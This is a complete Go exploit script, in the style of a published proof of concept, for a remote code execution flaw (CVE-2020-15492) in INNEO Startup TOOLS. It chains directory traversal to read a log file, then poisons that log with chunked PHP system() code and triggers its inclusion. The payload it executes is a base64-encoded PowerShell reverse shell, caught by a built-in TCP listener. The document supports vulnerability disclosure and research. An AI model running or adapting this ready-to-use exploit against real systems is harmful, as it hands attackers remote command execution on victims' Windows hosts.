# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution
# Date: 2020-07-23
# Exploit Author: Patrick Hener, SySS GmbH
# Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload
# Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt)
# Vendor Homepage: https://www.inneo.co.uk/en/home.html
# Version: Startup TOOLS 2017/2018
# Tested on: Windows 10 x64
# CVE : CVE-2020-15492

/* This exploit was written by Patrick Hener, SySS GmbH
*/

package main

import (
  "encoding/base64"
  "fmt"
  _ "fmt"
  "io"
  "io/ioutil"
  "log"
  "net"
  "net/http"
  "net/url"
  "os"
  "regexp"
  "strconv"
  "strings"

  "golang.org/x/text/encoding/unicode"
)

type progress struct {
  bytes uint64
}

func usage() {
  fmt.Printf("Usage: %s lhost[192.168.x.x] lport[4444] url[http://ip:85] installDir[PROGRA~2/stools] \n\n", os.Args[0])
  os.Exit(2)
}

func readFile(target string, traversal string, path string) (bool, string) {
  success := true
  request := fmt.Sprintf("%s%s%s", target, traversal, path)
  resp, err := http.Get(request)
  if err != nil {
    fmt.Println(err)
  }
  if resp.Status != "200 OK" {
    success = false
  }

  defer resp.Body.Close()
  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
    fmt.Println(err)
  }

  return success, string(body)
}

func triggerFile(target string, traversal string, path string) {
  request := fmt.Sprintf("%s%s%s", target, traversal, path)
  _, _ = http.Get(request)
}

func poison(target string, traversal string, path string) (bool, string) {
  success := true
  request := fmt.Sprintf("%s%s%s", target, traversal, path)
  resp, err := http.Get(request)
  if err != nil {
    fmt.Println(err)
    os.Exit(2)
  }
  if resp.Status != "404 Not Found" {
    success = false
  }

  defer resp.Body.Close()

  fmt.Printf("[*] Poisoned: %s\n", path)

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
    fmt.Println(err)
  }

  return success, string(body)
}

func parseHostname(body string) string {
  re := regexp.MustCompile("Service hostname:?.*")
  hostnameRaw := re.FindAllString(body, -1)
  hostnameSplit := strings.Split(hostnameRaw[0], ":")
  hostnameTrimmed := strings.TrimSpace(hostnameSplit[1])
  hostnameNoNewline := strings.Replace(hostnameTrimmed, "\n", "", -1)

  return hostnameNoNewline
}

func customEscape(sequence string) string {
  output := url.PathEscape(sequence)
  output = strings.Replace(output, "+", "%20", -1)
  output = strings.Replace(output, "=", "%3D", -1)

  return output
}

func payloadEscape(sequence string) string {
  output := url.PathEscape(sequence)
  output = strings.Replace(output, "=", "%3D", -1)

  return output
}

func transferStreams(con net.Conn) {
  c := make(chan progress)

  // Read from Reader and write to Writer until EOF
  copy := func(r io.ReadCloser, w io.WriteCloser) {
    defer func() {
      r.Close()
      w.Close()
    }()
    n, err := io.Copy(w, r)
    if err != nil {
      fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
    }
    c <- progress{bytes: uint64(n)}
  }

  go copy(con, os.Stdout)
  go copy(os.Stdin, con)

  p := <-c
  fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
  p = <-c
  fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}

func startServer(addr string) {
  ln, err := net.Listen("tcp", addr)
  if err != nil {
    log.Fatalln(err)
  }
  fmt.Printf("[+] Now listening on %s\n", addr)
  con, err := ln.Accept()
  if err != nil {
    log.Fatalln(err)
  }
  fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
  transferStreams(con)
}

func stage1(target string, traversal string, installDir string) string {
  fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
  fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
  path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
  success, response := readFile(target, traversal, path)
  if !success {
    fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
    os.Exit(2)
  }
  hostname := parseHostname(response)

  return hostname
}

func stage2(target string, traversal string, installDir string, payloadFinal string) {
  /* Stage 2 - poison log with php payload
      Special about that is the length of payload junk has max restriction of about 200 characters
      Thus we are splitting up the payload escaping the trash we don't need like
      the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
      <?php $cmd=''; $foo= '
      n'; $cmd.="part1"; $foo='
      n'; $cmd.="part2"; $foo='
       ....
    n'; system(cmd); ?>
  */
  fmt.Println("[*] Poisoning Log with payload")
  /* Start of the php code */
  start := customEscape("<?php $cmd=''; $foo='")
  success, _ := poison(target, traversal, start)
  if !success {
    fmt.Println("Poisoning failed. Exiting")
    os.Exit(2)
  }

  /* Looping through payload */
  offset := 0
  pre := "n'; $cmd.='"
  post := "'; $foo='"

  for offset < len(payloadFinal) {
    payload := payloadFinal[offset : offset+150-len(pre)-len(post)]
    poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
    success, _ = poison(target, traversal, poisonPath)
    if !success {
      fmt.Println("Poisoning failed. Exiting")
      os.Exit(2)
    }
    offset += 150 - len(pre) - len(post)

    if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
      break
    }
  }

  /* Send last slice of payload to prevent from out of range error */
  payload := payloadFinal[offset:len(payloadFinal)]
  poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
  success, _ = poison(target, traversal, poisonPath)
  if !success {
    fmt.Println("Poisoning failed. Exiting")
    os.Exit(2)
  }

  /* End of the php code */
  end := customEscape("n'; system($cmd); die; ?>")
  success, _ = poison(target, traversal, end)
  if !success {
    fmt.Println("Poisoning failed. Exiting")
    os.Exit(2)
  }
}

func stage3(target string, traversal string, installDir string, hostname string) {
  logFile := fmt.Sprintf("%s%s%s/software/LOG/sut_server_%s.log\\0.php", target, traversal, installDir, hostname)
  fmt.Printf("[*] Triggering inclusion of %s\n", logFile)
  triggerFile(target, traversal, logFile)
}

func stage4(lhost string, lport int) {
  /* Listen for socket connection */
  addr := fmt.Sprintf("%s:%d", lhost, lport)
  fmt.Printf("[*] Starting reverse listener at %s\n", addr)
  startServer(addr)
}

func main() {
  if len(os.Args) < 4 {
    usage()
  }

  lhost := os.Args[1]
  lport, err := strconv.Atoi(os.Args[2])
  if err != nil {
    fmt.Println("lport has to be numeric")
    os.Exit(2)
  }
  target := os.Args[3]
  var installDir string
  if len(os.Args) == 4 {
    installDir = "PROGRA~2/stools"
  } else {
    installDir = os.Args[4]
  }

  /* Payload definition */
  payload := fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", lhost, lport)
  /* Convert to base64 UTF-16LE */
  encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
  payloadEncoded, _ := encoder.String(payload)
  payloadEncodedString := base64.StdEncoding.EncodeToString([]byte(payloadEncoded))
  /* In webshell we would issue: powershell.exe -exec bypass -EncodedCommand <encoded_payload> */
  payloadFinal := fmt.Sprintf("powershell.exe -exec bypass -EncodedCommand %s", payloadEncodedString)

  /* Traversal to root - default depth would be 4 */
  traversal := "/../../../../../../../../../../"

  /* stage 1  - get hostname */
  hostname := stage1(target, traversal, installDir)
  fmt.Printf("[+] Hostname of target is: %s\n", hostname)
  /* stage 2 - poisoning */
  stage2(target, traversal, installDir, payloadFinal)
  /* stage 3 - trigger */
  go stage3(target, traversal, installDir, hostname)
  /* stage4 - start listener */
  stage4(lhost, lport)
}